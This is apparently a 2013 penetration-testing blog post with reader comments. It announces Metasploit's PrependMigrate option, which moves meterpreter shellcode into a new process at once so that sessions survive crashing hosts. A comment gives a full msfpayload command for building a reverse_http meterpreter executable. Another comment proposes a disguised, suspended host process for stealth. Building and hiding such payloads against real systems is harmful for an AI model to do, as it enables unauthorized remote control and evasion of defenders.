Saving shells with PrependMigrate


One of the more frustrating experiences in infosec is getting a session back - just to have it die a second later.

Often, exploited processes are simply unstable; after smashing the heap or some other data structures, the process crashes not long after starting the shellcode. Sometimes the process freezes and the user exits the program just because it isn't working. Sometimes the program just exits normally. I ran into this issue when injecting a payload to existing command-line executables that exited quickly, like ipconfig. They would spawn off the payload in a new thread, but would exit before I even saw a connection. In any case, it's bad news for the pentester. As a result, a lot of exploits in Metasploit set a default AutoRunScript to "migrate -f" and migrate out of the process as soon as a session is established.

But it can take too long to even get to that point, even for the most basic reverse/bind meterpreter. To get there, the shellcode may load some DLL's, must establish the network connection, transfer either 750k or 950k of meterpreter DLL, reflectively load and initialize that, load any extensions, and establish an SSL session. Only then does the controller execute the migrate script, which only actually moves to the new process on the 5th remote procedure call. The entire process may complete in a few seconds over a high speed, low latency link, but since it requires at least 8 complete round-trips and significant data transfer, there is no guarantee of success if it is happening in a process that might soon exit or crash. It would be a lot nicer to simply start the shellcode in a new process, without waiting for any of that and escape immediately.

As far as I can tell, corelanc0d3r was the first to write a shellcode-migrating stub, here. I wrote a different version, with a few improvements, such as avoiding any delay and implementation for x64. After a number of revisions with the Metasploit team increasing flexibility and decreasing size, it finally landed in the main tree a couple of weeks ago. To use it, just set the PrependMigrate option to true:

Payload advanced options (windows/meterpreter/reverse_tcp):

...

   Name           : InitialAutoRunScript
   Current Setting: migrate -f
   Description    : An initial script to run on session creation (before 
      AutoRunScript)

   Name           : PrependMigrate
   Current Setting: false
   Description    : Spawns and runs shellcode in new process

   Name           : PrependMigrateProc
   Current Setting: 
   Description    : Process to spawn and run shellcode in

And it will take closer to 0.01 seconds than 10 seconds to escape the process once your shellcode starts. Enjoy your shells!

  1. #1 by Dominic White on March 25, 2013 - 9:43 pm

    This is super useful, thank you!

    Some quick testing notes, this appears to work with windows/meterpreter/reverse_tcp but not reverse_http or https. Payloads were generated with:
    ./msfpayload windows/meterpreter/reverse_http LHOST= LPORT=443 PrependMigrate=true X > payload.exe

    (Same payload works with PrependMigrate set to false).

    Truthfully I haven’t done any debugging, I hope you’ll accept a lazy bug report.

    • #2 by scriptjunkie on March 27, 2013 - 1:11 am

      Fix is on the way up!

  2. #3 by shellster on June 26, 2013 - 1:29 pm

    I have one feature request. Can you add another option to started the PrependMigrateProc as suspended?

    The idea being that for ultimate stealth, you might want to run a process that is common on the box like “superImportantDataMigration.exe”, but you don’t actually want that process to execute normally, but just house your active meterpreter thread.

(will not be published)